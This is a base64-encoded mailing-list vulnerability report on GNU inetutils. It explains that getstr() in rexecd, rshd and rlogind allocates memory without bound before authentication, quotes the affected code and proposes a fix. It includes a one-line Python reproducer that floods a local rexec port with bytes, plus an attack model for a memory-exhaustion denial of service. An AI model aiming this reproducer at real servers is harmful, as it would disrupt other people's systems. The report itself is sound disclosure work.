[security] rexecd/rshd/rlogind: getstr() has no length bound and no timeout guard (CWE-770)
[email protected] Mon, 15 Jun 2026 03:25:55 -0700
| Newsgroups | gmane.comp.gnu.inetutils.bugs |
|---|---|
| Message-ID | <[email protected]> |
--===============5366231349050035584== Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 QWZmZWN0ZWQ6ICBHTlUgaW5ldHV0aWxzIDIuOCAobGF0ZXN0KSBhbmQgZWFybGllcgpGaWxlczog ICAgIHNyYy9yZXhlY2QuYyAoZ2V0c3RyIGF0IGxpbmUgNjg2OyBjYWxsZXJzIGluIGRvaXQgYXQg MzUwLTM1MikKICAgICAgICAgICBzcmMvcnNoZC5jLCBzcmMvcmxvZ2luZC5jIChzYW1lIGdldHN0 ciBwYXR0ZXJuKQpTZXZlcml0eTogIExPVyDigJQgdW5hdXRoZW50aWNhdGVkLCBidXQgMToxIChu byBhbXBsaWZpY2F0aW9uKTogdGhlCiAgICAgICAgICAgYXR0YWNrZXIgbXVzdCBzZW5kIHJvdWdo bHkgYXMgbWFueSBieXRlcyBhcyBpdCB3YW50cyB0aGUKICAgICAgICAgICBkYWVtb24gdG8gYWxs b2NhdGUsIGFuZCBpbmdlc3Rpb24gaXMgQ1BVLWxpbWl0ZWQgYXQKICAgICAgICAgICB+MjIgS0Iv cyAob25lIHJlYWQoKSBzeXNjYWxsIHBlciBieXRlKS4gRGVmZW5zZS1pbi1kZXB0aAogICAgICAg ICAgIGhhcmRlbmluZyByYXRoZXIgdGhhbiBhIGhpZ2gtaW1wYWN0IERvUy4KQ1dFOiAgICAgICBD V0UtNzcwIChBbGxvY2F0aW9uIG9mIFJlc291cmNlcyBXaXRob3V0IExpbWl0cykKClJlcG9ydGVy OiAgemhhbmdwaCAoYWZsZGwpLCBpbmRlcGVuZGVudCBzZWN1cml0eSByZXNlYXJjaGVyCiAgICAg ICAgICAgemhhbmdwaDEyMTM4QDE2My5jb20KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KMS4gU3VtbWFyeQo9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Cgpn ZXRzdHIoKSBpbiByZXhlY2QgKGFuZCB0aGUgaWRlbnRpY2FsIGhlbHBlciBpbiByc2hkL3Jsb2dp bmQpIHJlYWRzIGEKTlVMLXRlcm1pbmF0ZWQgc3RyaW5nIGZyb20gdGhlIG5ldHdvcmsgb25lIGJ5 dGUgYXQgYSB0aW1lLCBncm93aW5nIGl0cwpidWZmZXIgd2l0aCByZWFsbG9jKCkgYW5kIHdpdGgg Tk8gdXBwZXIgY2FwIG9uIHRoZSBhY2N1bXVsYXRlZCBsZW5ndGguCkFkZGl0aW9uYWxseSwgYWxh cm0oMCkgYXQgcmV4ZWNkLmM6MzEzLzM0NyBESVNBQkxFUyB0aGUgdGltZW91dCBndWFyZApiZWZv cmUgZ2V0c3RyKCkgaXMgZXZlciByZWFjaGVkLCBzbyBhIHNsb3cgYXR0YWNrZXIgY2FuIGtlZXAg dGhlCnJlYWQvYWxsb2MgbG9vcCBydW5uaW5nIGluZGVmaW5pdGVseS4KCmdldHN0cigpIGlzIGNh bGxlZCBwcmUtYXV0aGVudGljYXRpb24gdGhyZWUgdGltZXMgaW4gZG9pdCgpCihyZXhlY2QuYzoz NTAtMzUyKSBmb3IgdXNlcm5hbWUvcGFzc3dvcmQvY29tbWFuZCwgc28gdGhlIGJ1ZyBpcyBoaXQK YmVmb3JlIGFueSBjcmVkZW50aWFsIGNoZWNrLgoKU2V2ZXJpdHkgaXMgaG9uZXN0bHkgTE9XOiB0 aGVyZSBpcyBubyBhbXBsaWZpY2F0aW9uLiBUaGUgZGFlbW9uCmFsbG9jYXRlcyByb3VnaGx5IG9u ZSBieXRlIG9mIG1lbW9yeSBwZXIgYnl0ZSB0aGUgYXR0YWNrZXIgdHJhbnNtaXRzLAphbmQgYmVj YXVzZSBlYWNoIGJ5dGUgY29zdHMgYSBzZXBhcmF0ZSByZWFkKCkgc3lzY2FsbCB0aGUgaW5nZXN0 aW9uCnJhdGUgaXMgQ1BVLWxpbWl0ZWQgYXQgYWJvdXQgMjIgS0IvcyBwZXIgY29ubmVjdGlvbi4g VGhlIGF0dGFja2VyIG11c3QKZXhwZW5kIGNvbXBhcmFibGUgYmFuZHdpZHRoIGFuZCB0aW1lLCBz byB0aGlzIGlzIGEgbWlzc2luZy1pbnB1dC1saW1pdApoYXJkZW5pbmcgaXNzdWUgcmF0aGVyIHRo YW4gYSBoaWdoLWltcGFjdCBEb1MuCgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CjIuIEFmZmVjdGVkIGNvZGUgKHJlYWwsIGZy b20gdGhlIGluZXR1dGlscy0yLjggdHJlZSkKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKc3JjL3JleGVjZC5jOjY4NiDigJQg Z2V0c3RyKCk6CgogICAgY2hhciAqCiAgICBnZXRzdHIoY29uc3QgY2hhciAqZXJyKQogICAgewog ICAgICAgIHNpemVfdCBidWZfbGVuID0gMTAwOwogICAgICAgIGNoYXIgKmJ1ZiA9IG1hbGxvYyhi dWZfbGVuKSwgKmVuZCA9IGJ1ZjsKICAgICAgICAuLi4KICAgICAgICBkbyB7CiAgICAgICAgICAg IGludCByZCA9IHJlYWQoU1RESU5fRklMRU5PLCBlbmQsIDEpOyAgIC8qIG9uZSBieXRlIGF0IGEg dGltZSAqLwogICAgICAgICAgICAuLi4KICAgICAgICAgICAgZW5kICs9IHJkOwogICAgICAgICAg ICBpZiAoKGJ1ZiArIGJ1Zl9sZW4gLSBlbmQpIDwgKHNzaXplX3QpKGJ1Zl9sZW4gPj4gMykpIHsK ICAgICAgICAgICAgICAgIHNpemVfdCBlbmRfb2ZmcyA9IGVuZCAtIGJ1ZjsKICAgICAgICAgICAg ICAgIGJ1Zl9sZW4gKz0gYnVmX2xlbjsgICAgICAgICAgICAgICAgLyogZG91YmxlczsgTk8gdXBw ZXIgY2FwICovCiAgICAgICAgICAgICAgICBidWYgPSByZWFsbG9jKGJ1ZiwgYnVmX2xlbik7CiAg ICAgICAgICAgICAgICAuLi4KICAgICAgICAgICAgICAgIGVuZCA9IGJ1ZiArIGVuZF9vZmZzOwog ICAgICAgICAgICB9CiAgICAgICAgfSB3aGlsZSAoKihlbmQgLSAxKSk7ICAgICAgICAgICAgICAg ICAgICAgICAvKiB1bnRpbCBOVUwgKi8KICAgICAgICByZXR1cm4gYnVmOwogICAgfQoKVGhlcmUg aXMgbm8gbWF4aW11bS1sZW5ndGggY2hlY2s7IHJlYWxsb2Mga2VlcHMgZG91YmxpbmcgdGhlIGJ1 ZmZlcgppbmRlZmluaXRlbHkgdW50aWwgdGhlIE5VTCB0ZXJtaW5hdG9yIGFycml2ZXMgKHdoaWNo IHRoZSBhdHRhY2tlcgpjb250cm9scykuCgpDYWxsZXJzIGluIGRvaXQoKSAocmV4ZWNkLmM6MzUw LTM1Mik6CgogICAgdXNlcm5hbWUgPSBnZXRzdHIoInVzZXJuYW1lIik7CiAgICBwYXNzd29yZCA9 IGdldHN0cigicGFzc3dvcmQiKTsKICAgIGNvbW1hbmQgID0gZ2V0c3RyKCJjb21tYW5kIik7CgpU aW1lb3V0IGd1YXJkIGRpc2FibGVkIGJlZm9yZSBnZXRzdHIoKTogYWxhcm0oMCkgaXMgY2FsbGVk IGF0CnJleGVjZC5jOjMxMyBhbmQgMzQ3LCBpLmUuIHRoZSB0d28gcHJpb3IgYWxhcm0oNjApIHdp bmRvd3MgZm9yIHRoZQpwb3J0IHJlYWRzIGFyZSBjbGVhcmVkIEJFRk9SRSB0aGUgZ2V0c3RyKCkg Y2FsbHMg4oCUIHNvIGEgc2xvdyBhdHRhY2tlcgpmYWNlcyBubyBhbGFybSB3aGlsZSBkcmlwLWZl ZWRpbmcgYnl0ZXMuCgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09CjMuIFZlcmlmaWVkIHJlcHJvZHVjdGlvbiAocmVhbCByZXhl Y2QgYmluYXJ5LCBBU0FOKQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09CgpCdWlsdCB0aGUgcmVhbCBzaGlwcGVkIHJleGVjZCAo Mi44LCBBU0FOLWluc3RydW1lbnRlZCkgaW4gaW5ldGQgbW9kZQphbmQgc3RyZWFtZWQgMSBNaUIg d2l0aG91dCBhIE5VTCB0ZXJtaW5hdG9yIGFnYWluc3QgaXQuIFRoZSB3b3JrZXIncwpSU1MgZ3Jl dyBhY2NvcmRpbmdseSBhbmQgQ1BVIHdhcyBwaW5uZWQsIHdpdGggbm8gY2FwLgoKUmVwcm9kdWNl ciAoYW55IHVuYXV0aGVudGljYXRlZCBUQ1AgcGVlciB0byB0aGUgcmV4ZWMgcG9ydCk6CgogICAg IyByZXhlY2QgaW4gaW5ldGQgc3R5bGUgb24gMTI3LjAuMC4xOjI1MTIKICAgIHB5dGhvbjMgLWMg ImltcG9ydCBzb2NrZXQ7IHM9c29ja2V0LnNvY2tldCgpOyBcCiAgICAgICAgcy5jb25uZWN0KCgn MTI3LjAuMC4xJywyNTEyKSk7IFwKICAgICAgICBzLnNlbmRhbGwoYidBJyooMTAyNCoxMDI0KSki CgpQZXItcHJvY2VzcyBvYnNlcnZhdGlvbiAocnVuLXNwZWNpZmljIGV4YW1wbGVzKToKCiAgICAk IHBzIC1lbyBwaWQscnNzLGNvbW0gfCBncmVwIHJleGVjZAogICAgNzg0ODc0ICAzNTA4IHJleGVj ZCAgICAgIyBSU1MgZ3Jvd3Mgd2l0aCBpbnB1dDsgb25lIHBpbm5lZCBjb3JlCgpOb3RlIG9uIFJT UyBzY2FsaW5nIChob25lc3R5IGNhdmVhdCk6IGJlY2F1c2UgZ2V0c3RyKCkgcmVhZHMgb25lIGJ5 dGUKcGVyIHJlYWQoKSBzeXNjYWxsLCByZXhlY2QgaXMgc3RyaWN0bHkgQ1BVLWJvdW5kIGFuZCBp bmdlc3Rpb24gaXMKfjIyIEtCL3MgcGVyIGNvbm5lY3Rpb24uIFVuZGVyIEFTQU4gdGhlIHdvcmtl ciBSU1MgcGxhdGVhdXMgYXJvdW5kCn40LjcgTUIgZm9yIGEgMSBNaUIgc3RyZWFtIChBU0FOIHNo YWRvdy9xdWFyYW50aW5lIG92ZXJoZWFkIGRvbWluYXRlcwpvdmVyIHRoZSBkb3VibGluZy1zdHJh dGVneSBwYXlsb2FkIGFsbG9jYXRpb24pLiBUaGUgZWFybGllcgoiMSBNaUIgc2VudCAtPiB+My41 IE1pQiBSU1MiIGZpZ3VyZSBpbiBzb21lIG5vdGVzIGlzIG9yZGVyLW9mLW1hZ25pdHVkZQpwbGF1 c2libGUgYnV0IGlzIE5PVCB3aGF0IHdhcyBzdHJpY3RseSBtZWFzdXJlZDsgdGhlIG1lYXN1cmVk IHBsYXRlYXUKaXMgfjQuNyBNQiB1bmRlciBBU0FOLiBFaXRoZXIgd2F5IHRoZSBxdWFsaXRhdGl2 ZSByZXN1bHQgaG9sZHM6IFJTUwp0cmFja3MgaW5wdXQgc2l6ZSB3aXRoIG5vIHVwcGVyIGNhcCwg YW5kIHRoZSByYXRlIGlzIENQVS1saW1pdGVkLgoKU28gYSBzdXN0YWluZWQsIHNsb3ctc3RyZWFt IGF0dGFja2VyIGNhbiBwaW4gYSBjb3JlIGFuZCBncm93IFJTUwp3aXRob3V0IGJvdW5kLCBidXQg b25seSBhdCB+MjIgS0Ivcy9jb3JlIHdpdGggbm8gYW1wbGlmaWNhdGlvbi4KCj09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KNC4g Tm90IGZpeGVkIGluIGxhdGVzdCBjb2RlCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCiAgLSBMYXRlc3QgcmVsZWFzZSBpcyBp bmV0dXRpbHMgMi44OyB0aGUgZ2V0c3RyKCkgZnVuY3Rpb24gaXMKICAgIGJ5dGUtaWRlbnRpY2Fs IHRoZXJlIGFuZCBvbiBnaXQgbWFzdGVyIChzYXZhbm5haCkg4oCUIE5PVCBGSVhFRC4KICAtIGlu ZXR1dGlscyBpcyBOT1QgY292ZXJlZCBieSBPU1MtRnV6ei4KCj09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KNS4gU3VnZ2VzdGVk IGZpeAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09CgpDYXAgdGhlIGFjY3VtdWxhdGVkIHN0cmluZyBsZW5ndGggaW4gZ2V0c3Ry KCkgYW5kIGNsb3NlIHRoZSBjb25uZWN0aW9uCm9uIG92ZXJmbG93LiByc2gvcmxvZ2luL3JleGVj IGZpZWxkIGxlbmd0aHMgYXJlIGluaGVyZW50bHkgc21hbGwsIHNvIGEKbW9kZXN0IGxpbWl0IChl LmcuIDY0IEtpQiAvIE1BWEFSR0xFTikgaXMgYXBwcm9wcmlhdGU6CgogICAgI2RlZmluZSBNQVhf R0VUU1RSIDY1NTM2CiAgICAuLi4KICAgIGVuZCArPSByZDsKICAgIGlmIChlbmQgLSBidWYgPj0g TUFYX0dFVFNUUikgewogICAgICAgIHN5c2xvZyhMT0dfRVJSLCAiJXMgdG9vIGxvbmciLCBlcnIp OwogICAgICAgIGV4aXQoRVhJVF9GQUlMVVJFKTsKICAgIH0KCkFkZGl0aW9uYWxseSwgc2V0IGFu IGFsYXJtKCkgdGhhdCBhY3R1YWxseSBjb3ZlcnMgdGhlIGdldHN0cigpIGNhbGxzCihkb24ndCBh bGFybSgwKSBvdXQgb2YgdGhlIHByaW9yIHdpbmRvdyBiZWZvcmUgY2FsbGluZyBnZXRzdHIpLCBz byBhCnN0YWxsZWQgc2xvdyBhdHRhY2tlciBjYW5ub3QgaG9sZCB0aGUgY29ubmVjdGlvbiBvcGVu IGluZGVmaW5pdGVseS4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT0KNi4gRGlzY2xvc3VyZQo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpSZXBvcnRlZCAy MDI2LTA2LTE1LiBObyBwcmlvciBwdWJsaWMgZGlzY2xvc3VyZS4KCj09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KNy4gQ3JlZGl0 cwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09Cgp6aGFuZ3BoIChhZmxkbCksIGluZGVwZW5kZW50IHNlY3VyaXR5IHJlc2VhcmNo ZXIuCg== --===============5366231349050035584== Content-Type: text/markdown; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="inetutils-rexecd-getstr-unbounded-dos.md" IyBJbmV0dXRpbHMgMi44IHJleGVjZCBVbmJvdW5kZWQgZ2V0c3RyKCkg4oCUIE1lbW9yeS1FeGhh dXN0aW9uIERvUyDigJQgUG9DCgoqKlRhcmdldCoqOiBHTlUgaW5ldHV0aWxzIDIuOCAobGF0ZXN0 IHN0YWJsZSkg4oCUIHJleGVjZAoqKkZpbGUqKjogYHNyYy9yZXhlY2QuYzo2ODYtNzIyYCAoYGdl dHN0cmApCioqQ2FsbGVycyoqOiBgc3JjL3JleGVjZC5jOjM1MC0zNTJgIChgZG9pdGAsIHRocmVl IHByZS1hdXRoIGBnZXRzdHIoKWAgY2FsbHMpCioqVGltZW91dCoqOiBgYWxhcm0oMClgIGF0IHJl eGVjZC5jOjMxMy8zNDcgZGlzYWJsZXMgdGhlIHByaW9yIGd1YXJkCkJFRk9SRSBnZXRzdHIoKSBy dW5zLCBzbyBhIHNsb3cgYXR0YWNrZXIgbG9vcHMgaW5kZWZpbml0ZWx5LgoqKlNldmVyaXR5Kio6 ICoqTE9XKiog4oCUIFVuYXV0aGVudGljYXRlZCwgYnV0IDE6MSAobm8gYW1wbGlmaWNhdGlvbik6 CnRoZSBhdHRhY2tlciBtdXN0IHNlbmQgcm91Z2hseSBhcyBtYW55IGJ5dGVzIGFzIGl0IHdhbnRz IHRoZSBkYWVtb24gdG8KYWxsb2NhdGUsIGFuZCBpbmdlc3Rpb24gaXMgQ1BVLWxpbWl0ZWQgYXQg fjIyIEtCL3MgKG9uZSByZWFkKCkgc3lzY2FsbApwZXIgYnl0ZSkuIERlZmVuc2UtaW4tZGVwdGgg aGFyZGVuaW5nIHJhdGhlciB0aGFuIGEgaGlnaC1pbXBhY3QgRG9TLgoqKkNXRSoqOiBDV0UtNzcw IChBbGxvY2F0aW9uIG9mIFJlc291cmNlcyBXaXRob3V0IExpbWl0cyBvciBUaHJvdHRsaW5nKQoq KkNXRSoqOiBDV0UtNDAwIChVbmNvbnRyb2xsZWQgUmVzb3VyY2UgQ29uc3VtcHRpb24pCioqU3Rh dHVzKio6IEJ1ZyBjb25maXJtZWQgaW4gKipsYXRlc3QgcmVsZWFzZWQqKiAyLjggdGFyYmFsbCBB TkQgaW4gdXBzdHJlYW0KYG1hc3RlcmAgb24gZ2l0IHNhdmFubmFoIChieXRlLWlkZW50aWNhbCkg 4oCUIE5PVCBGSVhFRCAodmVyaWZpZWQgMjAyNi0wNi0xNSkKKipPU1MtRnV6eiBjb3ZlcmFnZSoq OiBpbmV0dXRpbHMgaXMgKipOT1QqKiBpbiBPU1MtRnV6egoKIyMgU3VtbWFyeQoKVGhlIGBnZXRz dHIoKWAgZnVuY3Rpb24gaW4gcmV4ZWNkIChhbmQgdGhlIHNhbWUgYnVnIGluIHJsb2dpbmQsIHJz aGQpCnJlYWRzIGEgTlVMLXRlcm1pbmF0ZWQgc3RyaW5nIGZyb20gdGhlIGNsaWVudCBzb2NrZXQg KipvbmUgYnl0ZSBhdCBhCnRpbWUgdmlhIGByZWFkKFNURElOX0ZJTEVOTywgZW5kLCAxKWAqKiwg Z3Jvd2luZyB0aGUgYnVmZmVyIHdpdGgKYHJlYWxsb2MoKWAgaW4gZG91YmxpbmcgY2h1bmtzICoq d2l0aCBubyB1cHBlciBib3VuZCoqLiBBIHJlbW90ZSwKdW5hdXRoZW50aWNhdGVkIGNsaWVudCBj b25uZWN0aW5nIHRvIHRoZSByZXhlYyBwb3J0IChUQ1AvNTEyKSBhbmQKc2VuZGluZyBhIGxvbmcg c3RyZWFtIG9mIG5vbi1OVUwgYnl0ZXMgd2lsbCBjYXVzZSB0aGUgcmV4ZWNkIGNoaWxkCnByb2Nl c3MgdG8ga2VlcCBhbGxvY2F0aW5nIG1lbW9yeSBiZWZvcmUgdGhlIGZpcnN0IE5VTCBieXRlIGFy cml2ZXMuCkFkZGl0aW9uYWxseSwgYGFsYXJtKDApYCBhdCByZXhlY2QuYzozMTMvMzQ3IGNsZWFy cyB0aGUgcHJpb3IgdGltZW91dAp3aW5kb3cgQkVGT1JFIGdldHN0cigpIGlzIHJlYWNoZWQsIHNv IGEgc2xvdyBhdHRhY2tlciBjYW4gZHJpcC1mZWVkCmJ5dGVzIGluZGVmaW5pdGVseS4KClNldmVy aXR5IGlzIGhvbmVzdGx5ICoqTE9XKio6IHRoZXJlIGlzIG5vIGFtcGxpZmljYXRpb24uIFRoZSBk YWVtb24KYWxsb2NhdGVzIHJvdWdobHkgb25lIGJ5dGUgb2YgbWVtb3J5IHBlciBieXRlIHRoZSBh dHRhY2tlciB0cmFuc21pdHMsCmFuZCBiZWNhdXNlIGVhY2ggYnl0ZSBjb3N0cyBhIHNlcGFyYXRl IHJlYWQoKSBzeXNjYWxsIHRoZSBpbmdlc3Rpb24KcmF0ZSBpcyBDUFUtbGltaXRlZCBhdCB+MjIg S0IvcyBwZXIgY29ubmVjdGlvbi4gVGhlIGF0dGFja2VyIG11c3QKZXhwZW5kIGNvbXBhcmFibGUg YmFuZHdpZHRoIGFuZCB0aW1lLCBzbyB0aGlzIGlzIGEgbWlzc2luZy1pbnB1dC1saW1pdApoYXJk ZW5pbmcgaXNzdWUgcmF0aGVyIHRoYW4gYSBoaWdoLWltcGFjdCBEb1MuCgpUaGlzIGlzIHRoZSAq KnNhbWUgdnVsbmVyYWJpbGl0eSBjbGFzcyoqIGFzIHRoZSBgZ2V0c3RyKClgIGJ1ZyBpbgpybG9n aW5kIGFuZCByc2hkIChib3RoIGFscmVhZHkgZG9jdW1lbnRlZCBpbgpgaW5ldHV0aWxzLXJsb2dp bmQtZ2V0c3RyLXVuYm91bmRlZC1kb3MubWRgIGFuZApgaW5ldHV0aWxzLXJzaGQtZ2V0c3RyLXVu Ym91bmRlZC1kb3MubWRgKSwgYnV0IGluIGEgdGhpcmQgZGFlbW9uIG9uCnlldCBhbm90aGVyIHBv cnQgKDUxMikuCgojIyBBZmZlY3RlZCBDb2RlCgoqKmBzcmMvcmV4ZWNkLmM6Njg3LTcyMmAqKiDi gJQgYGdldHN0cmAgZGVmaW5pdGlvbjoKCmBgYGMKY2hhciAqCmdldHN0ciAoY29uc3QgY2hhciAq ZXJyKQp7CiAgc2l6ZV90IGJ1Zl9sZW4gPSAxMDA7CiAgY2hhciAqYnVmID0gbWFsbG9jIChidWZf bGVuKSwgKmVuZCA9IGJ1ZjsKCiAgaWYgKCFidWYpCiAgICBkaWUgKEVYSVRfRkFJTFVSRSwgIk91 dCBvZiBzcGFjZSByZWFkaW5nICVzIiwgZXJyKTsKCiAgZG8KICAgIHsKICAgICAgLyogT2ggdGhp cyBpcyBlZmZpY2llbnQsIG9oIHllcy4gIFtCdXQgd2hhdCBjYW4gYmUgZG9uZT9dICovCiAgICAg IGludCByZCA9IHJlYWQgKFNURElOX0ZJTEVOTywgZW5kLCAxKTsKICAgICAgaWYgKHJkIDw9IDAp Cgl7CgkgIGlmIChyZCA9PSAwKQoJICAgIGRpZSAoRVhJVF9GQUlMVVJFLCAiRU9GIHJlYWRpbmcg JXMiLCBlcnIpOwoJICBlbHNlCgkgICAgZXJyb3IgKEVYSVRfRkFJTFVSRSwgMCwgIiVzIiwgZXJy KTsKCX0KCiAgICAgIGVuZCArPSByZDsKICAgICAgaWYgKChidWYgKyBidWZfbGVuIC0gZW5kKSA8 IChzc2l6ZV90KSAoYnVmX2xlbiA+PiAzKSkKCXsKCSAgLyogTm90IHZlcnkgbXVjaCByb29tIGxl ZnQgaW4gb3VyIGJ1ZmZlciwgZ3JvdyBpdC4gKi8KCSAgc2l6ZV90IGVuZF9vZmZzID0gZW5kIC0g YnVmOwoJICBidWZfbGVuICs9IGJ1Zl9sZW47CgkgIGJ1ZiA9IHJlYWxsb2MgKGJ1ZiwgYnVmX2xl bik7CgkgIGlmICghYnVmKQoJICAgIGRpZSAoRVhJVF9GQUlMVVJFLCAiT3V0IG9mIHNwYWNlIHJl YWRpbmcgJXMiLCBlcnIpOwoJICBlbmQgPSBidWYgKyBlbmRfb2ZmczsKCX0KICAgIH0KICB3aGls ZSAoKihlbmQgLSAxKSk7CgogIHJldHVybiBidWY7Cn0KYGBgCgoqKkNhbGxlcnMgaW4gYGRvaXRg IChsaW5lIDIzNy0pKio6CgpgYGBjCnVzZXJuYW1lICA9IGdldHN0ciAoInVzZXJuYW1lIik7CnBh c3N3b3JkICA9IGdldHN0ciAoInBhc3N3b3JkIik7CmNvbW1hbmQgICA9IGdldHN0ciAoImNvbW1h bmQiKTsKYGBgCgpUaGUgcmV4ZWNkIHByb3RvY29sIChSRkMgMTMxMiAvIHJjbWQoMykpIHJlcXVp cmVzIHRoZSBjbGllbnQgdG8gc2VuZAozIE5VTC10ZXJtaW5hdGVkIHN0cmluZ3M6IHVzZXJuYW1l LCBwYXNzd29yZCwgY29tbWFuZC4gVGhlcmUgaXMgbm8KaW5oZXJlbnQgcHJvdG9jb2wgbGVuZ3Ro IGxpbWl0LCBzbyB0aGUgdW5ib3VuZGVkIGBnZXRzdHIoKWAgaXMgaGl0Cm9uIGV2ZXJ5IGNvbm5l Y3Rpb24uCgojIyBXaHkgSXQncyBhIEJ1ZwoKU2FtZSBhcyB0aGUgcmxvZ2luZC9yc2hkIGNhc2Vz OiB0aGUgcmV4ZWNkIHByb3RvY29sIGV4cGVjdHMKTlVMLXRlcm1pbmF0ZWQgZmllbGRzLCBidXQg ZG9lc24ndCBzcGVjaWZ5IGEgbWF4aW11bSBsZW5ndGguIFRoZQppbXBsZW1lbnRhdGlvbiByZWFk cyB0aGUgTlVMLXRlcm1pbmF0ZWQgZmllbGQsIGJ1dCBuZXZlciBlbmZvcmNlcyBhCnJlYXNvbmFi bGUgbWF4aW11bS4gVGhlIGByZWFsbG9jKClgIGxvb3AgaGFzIG5vIGNlaWxpbmcsIHNvIGFuCmF0 dGFja2VyIGNvbnRyb2xzIHRoZSBidWZmZXIgc2l6ZS4KClNlbmRpbmcgMSBHaUIgb2YgYCdBJ2Ag Ynl0ZXMgZm9sbG93ZWQgYnkgYSBzaW5nbGUgYCdceDAwJ2AgY2F1c2VzIHRoZQpyZXhlY2QgcHJv Y2VzcyB0byBhbGxvY2F0ZSB+MSBHaUIgb2YgaGVhcCAodGhlIDEwMC1ieXRlIGluaXRpYWwKYnVm ZmVyIGdyb3dzIGJ5IGRvdWJsaW5nOiAxMDAsIDIwMCwgNDAwLCAuLi4sIDEwNzM3NDE4MjQgKH4x IEdpQikpLgoKIyMgUmVhY2hhYmlsaXR5CgoqICoqcmV4ZWNkKiogcnVucyBhcyBhIG5ldHdvcmsg ZGFlbW9uIG9uIFRDUC81MTIgKHRoZSAiZXhlYyIgc2VydmljZSkuCiAgSXQgaXMgdGhlIHJleGVj KDMpIHNlcnZlciwgcGFydCBvZiB0aGUgQlNELXN0eWxlIHRydXN0ZWQtaG9zdAogIHByb3RvY29s IHN1aXRlLgoqICoqTm8gYXV0aGVudGljYXRpb24gcmVxdWlyZWQgYmVmb3JlIHRyaWdnZXJpbmcg dGhlIGJ1Zy4qKiBUaGUKICBgZG9pdCgpYCBmdW5jdGlvbiBjYWxscyBgZ2V0c3RyKClgIGltbWVk aWF0ZWx5IGZvciB1c2VybmFtZSwKICBwYXNzd29yZCwgYW5kIGNvbW1hbmQuIE9ubHkgdGhlbiBp cyB0aGUgcGFzc3dvcmQgLyBQQU0gY2hlY2sKICBwZXJmb3JtZWQuCiogKipDb21tb24gZGVwbG95 bWVudHMqKjoKICAtIEdOVSBpbmV0dXRpbHMtcmV4ZWNkIG9uIERlYmlhbi9VYnVudHUgKGAvdXNy L3NiaW4vaW4ucmV4ZWNkYCkKICAtIFVzZWQgaW4gc29tZSBsZWdhY3kgc3VwZXJjb21wdXRlciAv IEhQQyBlbnZpcm9ubWVudHMuCiAgLSBUaGUgcmV4ZWMgc2VydmljZSBpcyByYXJlbHkgdXNlZCBp biBtb2Rlcm4gZW52aXJvbm1lbnRzLgoqICoqT1NTLUZ1enogY292ZXJhZ2UqKjogaW5ldHV0aWxz IGlzICoqTk9UKiogaW4gT1NTLUZ1enouIFRoZSByZXhlYwogIHByb3RvY29sIGlzIHJhcmVseSBl eGVyY2lzZWQgYnkgZ2VuZXJpYyBuZXR3b3JrIGZ1enplcnMuCgojIyBBdHRhY2sgTW9kZWwKCiog KipWaWN0aW0qKjogQSBob3N0IHJ1bm5pbmcgR05VIGluZXR1dGlscyAyLjggcmV4ZWNkIG9uIFRD UC81MTIuCiogKipBdHRhY2tlcioqOiBBbnkgVENQIHBlZXIgYWJsZSB0byByZWFjaCBwb3J0IDUx Mi4KKiAqKlRyaWdnZXIqKjogQSBzaW5nbGUgVENQIGNvbm5lY3Rpb24gdG8gcG9ydCA1MTIsIHRo ZW4gYSBzdHJlYW0gb2YKICAxKyBHaUIgb2YgYnl0ZXMgKGUuZy4gYCdBJyAqICgxMDI0KjEwMjQq MTAyNClgKSAqKndpdGhvdXQgYW55IE5VTAogIGJ5dGUqKiwgdGhlbiBhIHNpbmdsZSBgJ1x4MDAn YC4gVGhlIGNvbm5lY3Rpb24gZG9lcyBub3QgbmVlZCB0bwogIGNvbXBsZXRlIHRoZSByZXhlYyBw cm90b2NvbC4KKiAqKlJlc3VsdCoqOgogIDEuIFRoZSByZXhlY2QgY2hpbGQgcHJvY2VzcyBgZm9y aygpYHMgZm9yIHRoZSBjb25uZWN0aW9uLgogIDIuIGBnZXRzdHIoInVzZXJuYW1lIilgIGlzIGNh bGxlZC4gSXQgcmVhZHMgYCdBJ2AgYWZ0ZXIgYCdBJ2AsCiAgICAgZ3Jvd2luZyB0aGUgYnVmZmVy IHZpYSBkb3VibGluZy4KICAzLiBBZnRlciB+MSBHaUIgb2YgYCdBJ2BzLCB0aGUgYnVmZmVyIGlz IH4xIEdpQi4gVGhlIHByb2Nlc3MncwogICAgIGhlYXAgdXNhZ2UganVtcHMgYnkgfjEgR2lCLgog IDQuIFRoZSByZXhlY2QgY2hpbGQgY29udGludWVzIGFsbG9jYXRpbmcgdW50aWwgZWl0aGVyOgog ICAgIGEuIFRoZSBPT00ga2lsbGVyIGZpcmVzIChwcm9jZXNzIGlzIGtpbGxlZCkuCiAgICAgYi4g 